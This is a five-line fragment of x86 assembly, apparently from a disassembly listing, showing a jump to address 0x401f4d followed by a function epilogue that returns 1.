jmp 0x401f4d
mov eax, 1
mov esp, ebp
pop ebp
ret